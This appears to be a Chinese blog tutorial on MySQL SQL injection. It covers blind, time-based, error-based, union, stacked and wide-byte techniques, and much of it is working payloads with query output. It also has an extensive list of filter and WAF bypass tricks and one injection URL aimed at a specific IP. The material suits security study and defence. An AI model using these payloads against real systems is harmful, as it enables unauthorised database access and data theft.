SQL注入

作者 ro0t 于 2021-06-29 发布
预计阅读所需时间 38 分钟
8.5k

SQL注入简介

SQL注入大致流程:

  • 确定注入点

  • 确定注入类型(有回显?无回显?)

  • 猜测数据库名

    猜测数据库名的长度 -> 猜测数据库名

  • 猜测表名

    猜测数据库有几张表 -> 猜测表名的长度 -> 猜测表名

  • 获取字段名

    猜解表中有几个字段——>猜解字段的长度——>猜解字段的名称

  • 猜解出数据

数据库名

获取数据库名长度

猜测当前数据库的数据库名,需要先获取数据库名的长度,获取数据库名长度有以下方法:

  • length()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    mysql> select length(database())>4;
    +----------------------+
    | length(database())>4 |
    +----------------------+
    | 0 |
    +----------------------+
    1 row in set (0.00 sec)

    mysql> select length(database())>3;
    +----------------------+
    | length(database())>3 |
    +----------------------+
    | 1 |
    +----------------------+
    1 row in set (0.00 sec)

    根据大小比较,会得到bool值,之后,需根据具体情况,具体进行payload构建。如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mysql> select * from user where id=1 and length(database())>3;
    +----+----------+------+------+
    | id | username | age | sex |
    +----+----------+------+------+
    | 1 | Tom | 24 | 男 |
    +----+----------+------+------+
    1 row in set (0.02 sec)

    mysql> select * from user where id=1 and length(database())>4;
    Empty set (0.00 sec)
  • char_length() 用法与length() 相同

  • character_length()用法与char_length()相同

  • bin_length() 返回2进制长度

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    mysql> select bit_length("abcd");
    +--------------------+
    | bit_length("abcd") |
    +--------------------+
    | 32 |
    +--------------------+
    1 row in set (0.00 sec)

    mysql> select bit_length("abcde");
    +---------------------+
    | bit_length("abcde") |
    +---------------------+
    | 40 |
    +---------------------+
    1 row in set (0.00 sec)

    mysql> select bit_length("abcde")>40;
    +------------------------+
    | bit_length("abcde")>40 |
    +------------------------+
    | 0 |
    +------------------------+
    1 row in set (0.00 sec)

    mysql> select bit_length("abcde")>39;
    +------------------------+
    | bit_length("abcde")>39 |
    +------------------------+
    | 1 |
    +------------------------+
    1 row in set (0.00 sec)

获取数据库名

获取数据名长度,之后,就是猜测数据库名的内容,有回显的,直接根据回显进行判断就可以;没有回显的,则需要用盲注进行判断。

盲注下,常用的函数:

  • mid、substr、substring

    以mid,mid(s, start, length)为例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mysql> select * from user where id = 1 and ascii(mid(database(), 1, 1)) > 100;
    +----+----------+------+------+
    | id | username | age | sex |
    +----+----------+------+------+
    | 1 | Tom | 24 | 男 |
    +----+----------+------+------+
    1 row in set (0.02 sec)

    mysql> select * from user where id = 1 and ascii(mid(database(), 1, 1)) > 200;
    Empty set (0.00 sec)
  • ASCII(s)

  • ORD(s)

  • CHAR(s)

  • LENGTH()

  • SUBSTR(s, start, length)

  • SUBSTRING(s, start, length)

  • CONCAT(s1, s2, s3, …)

  • CONCAT_WS(x, s1, s2, s3, …)

  • INSERT(s1,start,len,s2)

  • BIN(x)

  • BINARY(s)

  • CAST(x AS type)

  • CURRENT_USER()

  • DATABASE()

  • IF(expr,v1,v2)

  • SESSION_USER()

  • SYSTEM_USER()

  • USER()

  • GROUP_CONCAT()

  • FLOOR()

  • RAND()

  • BENCHMARK(count, expr)

  • SLEEP()

  • ELT(n,str1,str2,str3,…)

表名

获取表名长度

先看有几张表?

1
2
3
4
5
6
7
mysql> select count(table_name) from information_schema.tables where table_schema=database();
+-------------------+
| count(table_name) |
+-------------------+
| 5 |
+-------------------+
1 row in set (0.00 sec)

此时有5张表,我们使用limit挨个获取单个表的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select length(table_name) from information_schema.tables where table_schema=database() limit 3,1;
+--------------------+
| length(table_name) |
+--------------------+
| 10 |
+--------------------+
1 row in set (0.00 sec)

mysql> select length(table_name) from information_schema.tables where table_schema=database() limit 4,1;
+--------------------+
| length(table_name) |
+--------------------+
| 4 |
+--------------------+
1 row in set (0.00 sec)

获取表名

知道表的长度之后,就可以获取表名了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select ascii(mid(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 4,1;
+------------------------------+
| ascii(mid(table_name, 1, 1)) |
+------------------------------+
| 117 |
+------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(mid(table_name, 2, 1)) from information_schema.tables where table_schema=database() limit 4,1;
+------------------------------+
| ascii(mid(table_name, 2, 1)) |
+------------------------------+
| 115 |
+------------------------------+
1 row in set (0.00 sec)

...

这里的方法很多,转换为char的方法、转换为ascii的方法等等,与 if 连用也可以进行盲注

字段名

假设我们拿到了一个表,名为user,那么我们怎么获取字段呢?

获取字段数量

1
2
3
4
5
6
7
mysql> select count(column_name) from information_schema.columns where table_name="user";
+--------------------+
| count(column_name) |
+--------------------+
| 55 |
+--------------------+
1 row in set (0.00 sec)

发现竟然有55个列?是因为user表和数据库本身的user表名字重复了,如果我们再加个数据库名的限制,再看下

1
2
3
4
5
6
7
mysql> select count(column_name) from information_schema.columns where table_name="user" and table_schema=database();
+--------------------+
| count(column_name) |
+--------------------+
| 4 |
+--------------------+
1 row in set (0.00 sec)

这样就可以进行字段的猜解了。

获取字段长度

我们知道可以进行字段猜解,如

1
2
3
4
5
6
7
8
9
mysql> select length(column_name) from information_schema.columns where table_name="user" and table_schema=database() limit 1,1;
+---------------------+
| length(column_name) |
+---------------------+
| 3 |
+---------------------+
1 row in set (0.00 sec)

...

依次更改为 limit 2,1limit 3,1即可获取所有字段的长度

猜测字段名

在获取到长度之后,就可以猜测字段名,和猜测数据库名一样,使用midsubstr等函数对字符进行逐个猜解,如:

1
2
3
4
5
6
7
8
9
mysql> select ascii(mid(column_name,1,1)) from information_schema.columns where table_name="user" limit 54,1;
+-----------------------------+
| ascii(mid(column_name,1,1)) |
+-----------------------------+
| 115 |
+-----------------------------+
1 row in set (0.00 sec)

...

拖库

拿数据的时候,一般使用concatconcat_wsgroup_concat

如:

1
2
3
4
5
6
7
mysql> select group_concat(concat_ws(',', username, age, sex)) from user;
+--------------------------------------------------+
| group_concat(concat_ws(',', username, age, sex)) |
+--------------------------------------------------+
| Tom,24,男,Alice,22,女,Jerry,26,男 |
+--------------------------------------------------+
1 row in set (0.00 sec)

union拿数据:

如:

1
2
3
4
5
6
7
8
mysql> select * from user where id = 1 union select 1,2,group_concat(concat_ws(',', username, age, sex)),4 from user;
+----+----------+--------------------------------------+------+
| id | username | age | sex |
+----+----------+--------------------------------------+------+
| 1 | Tom | 24 | 男 |
| 1 | 2 | Tom,24,男,Alice,22,女,Jerry,26,男 | 4 |
+----+----------+--------------------------------------+------+
2 rows in set (0.00 sec)

小结

为什么要这么麻烦的获取长度、然后获取数据库、表或字段名?

主要是为了方便编写脚本,其实这个流程也是主流的注入流程,按照步骤可以方便我们进行自动化。毕竟手动注入实在太累了。。。。

SQL注入分类

有回显

有报错显示。

  1. 网站回显数据库执行的报错信息,得到数据库信息
  2. 构造会出现执行错误的 SQL 查询语句,将需要获取的信息(如版本、数据库名)放到会在错误信息输出的位置

group by floor 报错(mysql 5 可用)「重复键报错」

mysql 8 不可用

因为外键名重复了的报错,刚好我们这里的floor是利用外键重复来产生报错的,所以这个报错注入在mysql 8.0+的版本中不存在

1
2
mysql> select count(*) from user group by(concat("~", (floor(rand(0)*2)), "~", database()));
ERROR 1022 (23000): Can't write; duplicate key in table '/var/tmp/#sql13c69_9_3'

利用条件(缺一不可)

  • count()rand()group by三个都得用到
  • 报错要有回显

常见的报错payload:select count(*) from user group by (floor(rand(0)*2));

1
2
mysql> select count(*) from user group by(concat("~", (floor(rand(0)*2)), "~", database()));
ERROR 1062 (23000): Duplicate entry '~1~test' for key 'group_key'

利用报错将目标信息带出来。

原理

count(*) 和 group by 连用的时候,mysql会创建一个虚拟的key value表,如:

1
2
3
4
5
6
7
8
mysql> select count(*) from user group by sex;
+----------+
| count(*) |
+----------+
| 2 |
| 1 |
+----------+
2 rows in set (0.00 sec)

user表一共有三行数据:

1
2
3
4
5
6
7
8
mysql> select * from user;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
+----+----------+------+------+

调用group by sex的时候,从user里根据列名sex进行查询,查出来之后,如果sextemp里,则对应的value会+ 1;如果不在temp里,则当前行的列名(如"男")放到temp里,对应的value为1。依此这样查下去。。。。

image-20210709165442618

需要注意的是:group by 只有在插入临时表的时候才会计算rand的值,更新的时候是不会计算rand的

floor用来取整,rand()用来获取随机数,rand(0)*2则增大了floor(rand(0)*2)值的不一致性,从而使mysql报duplicate key错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select (floor(rand(0)*2)) from mysql.user;
+--------------------+
| (floor(rand(0)*2)) |
+--------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+--------------------+
7 rows in set (0.00 sec)

因此:
第一次查询,group by拿到的是0,之后查看临时表temp里不存在0,则将0插入到临时表里(插入时计算一次rand),但是实际拿到的是1,对应的值为1。
第二次查询,group by拿到的是1,之后查看临时表temp存在1,则更新临时表的值为2。
第三次查询,group by拿到的是0,之后查看临时表temp里不存在0,则将0插入到临时表里(插入时计算一次rand),但是实际拿到的是1,插入的时候,发现1重复,因此报键重复错误

bigint 报错

适用 mysql数据库版本是:5.5.5 ~ 5.5.49,经测试,高版本不会执行,只会将payload原样输出。

mysql最长支持的bigint是64位,即:

1
2
3
0x1111111111111111111111111111111111111111111111111111111111111111
0xFFFFFFFFFFFFFFFF
18446744073709551615

报错的原理:当SQL查询成功后,会返回0,而对0进行取反操作,则拿到了int的最大值,之后再进行运算即可报错。

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~(select database());
+----------------------+
| ~(select database()) |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

对该数进行适当的运算,则报错

1
2
mysql> select ~(select * from (select database())x)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((select 'test' from dual)) + 1)'

必须使用select *进行查询,全部查询出结果

必须使用嵌套查询

否则无法造成大整数溢出

exp报错

如:

1
2
mysql> select exp(~(select * from (select database())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'test' from dual)))'

注意:

任何可以用来取反的数学函数,都可以利用进行bigint报错注入。

xml报错

  • updatexml 报错

    用法:updatexml(xml_document, xpath_string, new_value),使用不同的xml标记匹配和替换xml块的函数。

    xml_document:string格式,为XML文档对象的名称

    xpath_string:代表路径,Xpath格式的字符串

    new_value:string格式,替换查找到的符合条件的语句

    需要与where联用

    如:

    1
    2
    mysql> select * from test_users where id = 5 and updatexml(1, concat(0x7e, database(), 0x7e, user()), 1);
    ERROR 1105 (HY000): XPATH syntax error: '~test~root@localhost'

    报错的原理0x7e是字符~,该字符不是xpath语法,因此报出XPATH语法错误

  • extractvalue 报错

    用法:extractvalue(XML_document, xpath_string),从目标XML中返回包含所查询值的字符串。

    XML_document:string格式,为XML文档对象的名称

    xpath_string:代表路径,Xpath格式的字符串

    需要与where联用

    如:

    1
    2
    mysql> select * from user where id = 1 and extractvalue(0x7e, concat("~", database(), "~"));
    ERROR 1105 (HY000): XPATH syntax error: '~test~'

    报错的原理0x7e是字符~,该字符不是xpath语法,因此报出XPATH语法错误

无回显

基于时间的注入

根据延时来进行判断。

  • sleep()

    sleep(n),睡眠 n秒

  • benchmark()

    benchmark(loop_count, expr),expr执行loop_count次,通常使用md5,SHA1等函数,执行10000次。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    mysql> select benchmark(1000000, md5("testtest"));
    +-------------------------------------+
    | benchmark(1000000, md5("testtest")) |
    +-------------------------------------+
    | 0 |
    +-------------------------------------+
    1 row in set (0.19 sec)

    mysql> select benchmark(10000000, md5("testtest"));
    +--------------------------------------+
    | benchmark(10000000, md5("testtest")) |
    +--------------------------------------+
    | 0 |
    +--------------------------------------+
    1 row in set (1.81 sec)
  • get_lock()

    get_lock(str, timeout)函数,尝试获取一个名字为 str 的锁 ,等待 timeout秒未获得,则终止函数,函数返回 0 值,成功则返回 1。

    如:两个终端,第一个获取一个名为"test"的锁,执行之后,没有释放锁;第二个终端,同样获取名为"test"的锁,执行之后,等待3秒之后未获得,返回0。

    image-20210711161544275

  • 笛卡尔积查询

    SQL 进行多表查询时,需要按照笛卡尔积乘的方式合成一个虚拟表进行查询,就会比较耗时。如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    mysql> select count(*) from user a, user b, user c, user d, user e, user f, user g, user h, user i, user j, user k;
    +----------+
    | count(*) |
    +----------+
    | 48828125 |
    +----------+
    1 row in set (0.90 sec)

    mysql> select count(*) from user a, user b, user c, user d, user e, user f, user g, user h, user i, user j, user k, user l;
    +-----------+
    | count(*) |
    +-----------+
    | 244140625 |
    +-----------+
    1 row in set (4.64 sec)
  • RLIKE、REGEXP 正则匹配

    MySQL 中的 RLIKE 函数对字符串进行正则匹配,当目标字符串很长同时匹配规则复杂且失败的情况会相当的耗时。

    可先使用rpad或者repeat 构造长字符串,再利用rlike正则匹配返回一列,通过控制构造的字符串长度控制时间。

基于Union的注入

利用条件

  • 出现两个及以上的select
  • select 的列数要相同
  • 可以使用union,列的数据类型必须兼容,兼容的含义是必须数据库可以隐含转换他们的类型

因此,在可以使用union时,只需要确定出列数(字段数)就行了。那如何确定出目标字段的个数呢?

order by 确定字段数

order by的值 <= 列数时,是可以正常执行的,如果超出字段数,则会报错。因此,可以通过改变order by后面的值用来判断字段数。如:

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select * from user order by 4;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 2 | Alice | 22 | 女 |
| 1 | Tom | 24 | 男 |
| 3 | Jerry | 26 | 男 |
+----+----------+------+------+
3 rows in set (0.00 sec)

mysql> select * from user order by 5;
ERROR 1054 (42S22): Unknown column '5' in 'order clause'

再来看个例子:

1
2
3
4
5
6
7
8
9
10
mysql> select * from user where id = 1 order by 2;
+----+----------+
| id | username |
+----+----------+
| 1 | Alice |
+----+----------+
1 row in set (0.01 sec)

mysql> select * from user where id = 1 order by 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'

可以发现,同样是查user表,有时候order by 4order by 2可以,但是order by 3 不行。这是为什么呢?

order by [数字] 的原理:

order by 数字 表示的是,以select 里面的第n个字段进行排序。当select列数为2列的时候,我们却用第3列进行排序,自然就会报错了。

group by确定字段数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select * from user group by 2;
+----+----------+
| id | username |
+----+----------+
| 1 | Alice |
| 2 | Bob |
| 3 | Ellar |
| 4 | Gap |
| 5 | Helen |
+----+----------+
5 rows in set (0.01 sec)

mysql> select * from user group by 3;
ERROR 1054 (42S22): Unknown column '3' in 'group statement'

group by [数字] 的原理:

与order by 数字 相同。表示的是,以select 里面的第n个字段进行排序。当select列数为2列的时候,我们却用第3列进行排序,自然就会报错。

基于Bool的注入

没有回显,只会返回正常(True)页面和不正常(False)页面。根据正常不正常的页面返回看是否有注入。

二次注入

第一次注入没有触发,但是脏数据还是存到了数据库中。其他开发者或软件则认为数据是可信的,在读取数据时没有做处理,导致恶意代码被执行,由此引发二次注入。

堆叠注入

堆叠注入,就是通过;将两个sql语句分开,在执行完第一个语句之后,后面的语句可以由攻击者任意指定,该种注入威胁更大。

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select * from user; select database();
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
+----+----------+------+------+
3 rows in set (0.00 sec)

+------------+
| database() |
+------------+
| test |
+------------+
1 row in set (0.00 sec)

宽字节注入

原理

由于编码问题,导致数据库吃掉转义引号的反斜杠,从而引发宽字节注入。

如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$conn = mysqli_connect("127.0.0.1", "root", '', "test");
$id = "-1\xdf\x27 union select 1,database(),3,4#";

$new_id = addslashes($id);

/**
* 原代码 -1\xdf\x27 union select 1,database(),3,4#,经addslashes处理后,变为:
* -1\x5c\xdf\x5c\x27 union select 1,database(),3,4#
*/

$query = "select * from user where id='{$new_id}'";
echo $query;
echo "\n";

$result = mysqli_query($conn, $query);

if(!$result){
// 打印错误原因
printf("Error: %s\n", mysqli_error($conn));
}

// 一条条获取
while ($row=mysqli_fetch_row($result))
{
printf ("%s : %s : %s : %s ",$row[0],$row[1],$row[2],$row[3]);
echo "\n";
}
// 释放结果集合
mysqli_free_result($result);
echo "Closed!";
mysqli_close($conn);

同时mysql开启general_log,我们执行上述代码,得到输出如下:

image-20210705153151391

可以成功执行,同时,我们看看general_log文件(建议使用vim直接查看文件原始内容,终端上会显示乱码)

1
2
3
210705  7:25:47   103 Connect   root@gateway on test
210705 7:25:49 103 Query select * from user where id='-1\ß\' union select 1,database(),3,4#'
210705 7:26:05 103 Quit

由于数据库是使用gbk编码的,因此,虽然在显示的时候显示的是id='-1\ß\',但是在mysql解析的时候,会将\ß\处理成一个字符,导致'的逃逸,从而造成宽字节注入攻击。

image-20210705163101665

gbk 和 gb2312

GBK与GB2312都是宽字节家族的一员,按理来说,GBK都存在宽字节注入,GB2312也存在,但是实际上,当采用字符集编码为GB2312时,宽字节注入这种情况便无法发生了,为什么呢?这要归结于GB2312编码的取值范围,它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE(PS:前一位是高位,后一位是低位),而\是0x5c,是不在低位范围中的。所以,0x5c也就是\根本不在gb2312的编码范围内,也就是说,无论如何,都无法构造出gb2312认识的编码,也就不存在吞掉\,无法构造注入了

只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

修复方式

  • 当数据库采用gbk编码时,addslashes 就不那么有效了。可采用mysql_real_escape_string进行转义。mysql_real_escape_string会考虑当前数据库设置的字符集,而addslashes不会。
  • 规范使用预编译

MySQL DNSLog 外带数据

MySQL 异或注入

  • 可用于判断过滤
1
2
3
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23
union被过滤时1^0 输出id=1
union没被过滤时 1 ^ 1 输出 id=0

SQL注入绕过方式

使用编码绕过过滤

  • 大小写绕过

  • URL编码绕过

  • HEX编码绕过

  • Unicode编码绕过

使用等价函数绕过过滤

  • hex()bin() <==> ascii()

  • sleep() <==> benchmark()

  • concat_ws() <==> group_concat()

  • mid()substr() <==> substring()

  • @@user() <==> user()

  • @@datadir() <==> datadir()

过滤 sleep

使用benchmark(count, expr)get_lock(str, timeout)、笛卡尔积查询

过滤 if

使用locate

1
2
3
4
5
6
7
mysql> select sleep(locate(substr(user(), 1, 1), 'r'));
+------------------------------------------+
| sleep(locate(substr(user(), 1, 1), 'r')) |
+------------------------------------------+
| 0 |
+------------------------------------------+
1 row in set (1.00 sec)

出现延时,则存在注入

原理

locate()函数返回字符串中第一次出现的子字符串的位置,如果在原始字符串中找不到子字符串,则此函数返回0

使用case when

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select * from user;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
+----+----------+------+------+
3 rows in set (0.00 sec)

mysql> select * from user where case 2>1 when true then sleep(2) else sleep(5) end;
Empty set (6.02 sec)

mysql> select * from user where case 0>1 when true then sleep(2) else sleep(5) end;
Empty set (15.01 sec)

2>1为true的时候,延时2秒,否则延时5秒 // 最终延时 6 秒(因为表中共有三行数据)

0>1为true的时候,延时2秒,否则延时5秒 // 最终延时15秒(表中有三行数据)

原理

case [表达式1] when [表达式2] then [SQL语句1] else [SQL语句2] end;

表达式1 和 表达式2 值相同,则执行SQL语句1,否则则执行SQL语句2

过滤 unionselectwhere

使用注释符绕过

常见注释符为://--/**/#--+---;%00--a

如:

1
u/**/nion /**/sel/**/ect * from user;

注:在mysql客户端是无法这样用的,因为没有过滤,一般WAF在过滤之后,/**/ 会被去掉,由此在过滤之后,便得到:

1
union select * from user;

使用大小写绕过

1
2
3
4
5
6
7
8
9
10
mysql> select * from user uNion sEleCT 1,2,3,4;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
| 1 | 2 | 3 | 4 |
+----+----------+------+------+
4 rows in set (0.00 sec)

使用内联注释绕过(MySQL特有)

原理:
/*! */类型的注释,内部语句会被执行

1
2
3
4
5
6
7
8
9
10
mysql> select * from user /*!union*/ /*!select 1,2,3,4*/;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
| 1 | 2 | 3 | 4 |
+----+----------+------+------+
4 rows in set (0.00 sec)

使用双关键字绕过

使用两个union,两个select

1
select * from user where id = 1 UNunionION SELselectECT 1,2,3,4;

使用语法新特性,绕过屏蔽select

原理

在mysql 8.0.19 之后,推出了新特性,可不使用select就可以取数据。

如:

当前版本:

1
2
3
4
5
6
7
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 8.0.23 |
+-----------+
1 row in set (0.00 sec)

table语句(列出表的全部内容)

1
2
3
4
5
6
7
8
9
mysql> table user;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
+----+----------+------+------+
3 rows in set (0.00 sec)

等价于select * from user;

等价于select * from user;不能使用where进行筛选,但是可以使用联合查询

1
2
3
4
5
6
7
8
9
10
mysql> table user union select 1,2,3,4;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
| 1 | 2 | 3 | 4 |
+----+----------+------+------+
4 rows in set (0.00 sec)

过滤information_schema

可以利用mysql数据库下的innodb_table_statsinnodb_index_stats表。

过滤 limit

limit注入已经在5.7之后的版本中废除,适用于 5.0.0-5.6.6 版本。

如:

1
2
mysql> select username from user where id > 0 order by id limit 1,1 procedure analyse(extractvalue(1,concat('~',database())),1);
ERROR 1105 (HY000): XPATH syntax error: '~test'

当无回显时,可以使用延时判断,如:

1
2
mysql> select username from user where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat('~',(IF(MID(database(),1,1) LIKE 't', BENCHMARK(5000000,SHA1(1)),1))))),1);
ERROR 1105 (HY000): XPATH syntax error: '~0'

有延时,则数据库第一个字符为t

在注入时,过滤了limit,可以使用group by ... having...绕过,如:

1
2
3
4
5
6
7
mysql> select * from user limit 1;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
+----+----------+------+------+
1 row in set (0.00 sec)

等价于:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select * from user group by id having id = 1;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
+----+----------+------+------+
1 row in set (0.02 sec)

mysql> select * from user group by id having id = 2;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 2 | Alice | 22 | 女 |
+----+----------+------+------+
1 row in set (0.00 sec)

原理:

group by 查找字段为 id 的所有数据,然后用 having 筛选 id=1 的那条数据。

过滤 group by

可以用group_concat + substr进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select group_concat(id) from user;
+------------------+
| group_concat(id) |
+------------------+
| 1,2,3 |
+------------------+
1 row in set (0.00 sec)

mysql> select substr((select group_concat(id) from user),1,1);
+-------------------------------------------------+
| substr((select group_concat(id) from user),1,1) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

mysql> select * from user where id = substr((select group_concat(id) from user),1,1);
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
+----+----------+------+------+
1 row in set (0.01 sec)

原理:

group_concat 对所有列进行连接,再使用substr 或 mid 等函数对连接好的字符串进行截取,进而根据截取内容进行筛选。

过滤 空格

使用注释符/**/绕过

1
select/**/name/**/from/**/table

使用url编码绕过

1
id=1'%0aand%0a'1'='1
  • 利用原理

    %0a发出去就是空格,需要在burp中抓包修改

使用浮点数绕过

1
select * from table where id=8E0union select 1,2,3;

等价于

1
select * from table where id=8.0 union select 1,2,3;

使用tab代替空格

使用两个空格代替一个空格

使用括号绕过

1
select(name)from table where(1=1)and(2=2)

这种方法常用于时间盲注。

  • 利用原理

    在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

    1
    2
    3
    4
    5
    6
    7
    mysql> select(username)from user where id=(2);
    +----------+
    | username |
    +----------+
    | Alice |
    +----------+
    1 row in set (0.00 sec)

过滤 引号'

使用16进制绕过

原语句:

1
select COLUMN_NAME from information_schema.columns where table_name="user";

'被过滤的时候,就不能直接用了,需要用16进制进行绕过,

1
select COLUMN_NAME from information_schema.columns where table_name=0x75736572;

其中,75736572 是 user 的16进制表示。mac下可直接使用hex "user"获取。

1
2
➜  ~ hex "user"
75736572

坑点

当mysql版本 >=8.0.19 时,mysql客户端在启动时,是无法用unhex显示出字符串的,需要在启动的时候加上--skip-binary-as-hex关闭参数,如:

1
mysql -h 127.0.0.1 --skip-binary-as-hex -p

过滤 ,

使用from关键字绕过

使用substr()mid()的时候,我们会使用,,当,被过滤了,就可以使用from for的方式。如:

原始请求:

1
2
3
4
5
6
7
mysql> select substr(database(), 1, 1);
+--------------------------+
| substr(database(), 1, 1) |
+--------------------------+
| t |
+--------------------------+
1 row in set (0.00 sec)

绕过方式:

1
2
3
4
5
6
7
mysql> select substr(database() from 1 for 1);
+---------------------------------+
| substr(database() from 1 for 1) |
+---------------------------------+
| t |
+---------------------------------+
1 row in set (0.00 sec)

使用join关键字绕过

1
2
3
4
5
6
7
8
9
10
11
mysql> select * from user union select 1,2,3,4;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
| 1 | 2 | 3 | 4 |
+----+----------+------+------+
4 rows in set (0.01 sec)

等价于

1
2
3
4
5
6
7
8
9
10
mysql> select * from user union select * from (select 1) a join (select 2) b join (select 3) c join (select 4) d;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
| 2 | Alice | 22 | 女 |
| 3 | Jerry | 26 | 男 |
| 1 | 2 | 3 | 4 |
+----+----------+------+------+
4 rows in set (0.00 sec)

使用like关键字绕过

1
2
3
4
5
6
7
mysql> select ascii(mid(user(),1,1))=114;
+----------------------------+
| ascii(mid(user(),1,1))=114 |
+----------------------------+
| 1 |
+----------------------------+
1 row in set (0.00 sec)

等价于:

1
2
3
4
5
6
7
mysql> select user() like 'r%';
+------------------+
| user() like 'r%' |
+------------------+
| 1 |
+------------------+
1 row in set (0.01 sec)

使用offset关键字绕过

原理:

limit的语法为 limit N,M 相当于limit M offset N,从第N条记录开始,返回M条记录

1
2
3
4
5
6
mysql> select * from user limit 0,1;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
+----+----------+------+------+

等价于:

1
2
3
4
5
6
mysql> select * from user limit 1 offset 0;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
+----+----------+------+------+

过滤 注释符--#

手动闭合引号,不使用注释符

使用块注释符

/**/ <–> -- <–> #

过滤 比较符号><

使用greatest()least()函数绕过

原理:

greatest():返回最大值

least():返回最小值

使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了,如:

1
2
3
4
5
6
7
mysql> select * from user where id=1 and ascii(substr(database(),1,1))>64;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
+----+----------+------+------+
1 row in set (0.01 sec)

绕过方式:

1
2
3
4
5
6
7
mysql> select * from user where id=1 and greatest(ascii(substr(database(),1,1)),116)=116;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
+----+----------+------+------+
1 row in set (0.00 sec)

使用leatest()原理相同

使用between and绕过

原理:

between a and b:返回ab之间的数据,同时包含ab

绕过方式:

1
2
3
4
5
6
7
mysql> select * from user where id=1 and ascii(substr(database(),1,1)) between 110 and 116;
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | Tom | 24 | 男 |
+----+----------+------+------+
1 row in set (0.00 sec)

过滤 =

使用likerlikeregexp 或者 <>

过滤 orandxornot

使用符号代替

or <==>||

and <==>&&

xor <==>|

not <==>!

SQL注入与预编译

预编译原理

通常来说,在MySQL中,一条SQL语句从传入到执行经历了以下过程:检查缓存、规则验证、解析器解析为语法树、预处理器进一步验证语法树、优化SQL、生成执行计划、执行。

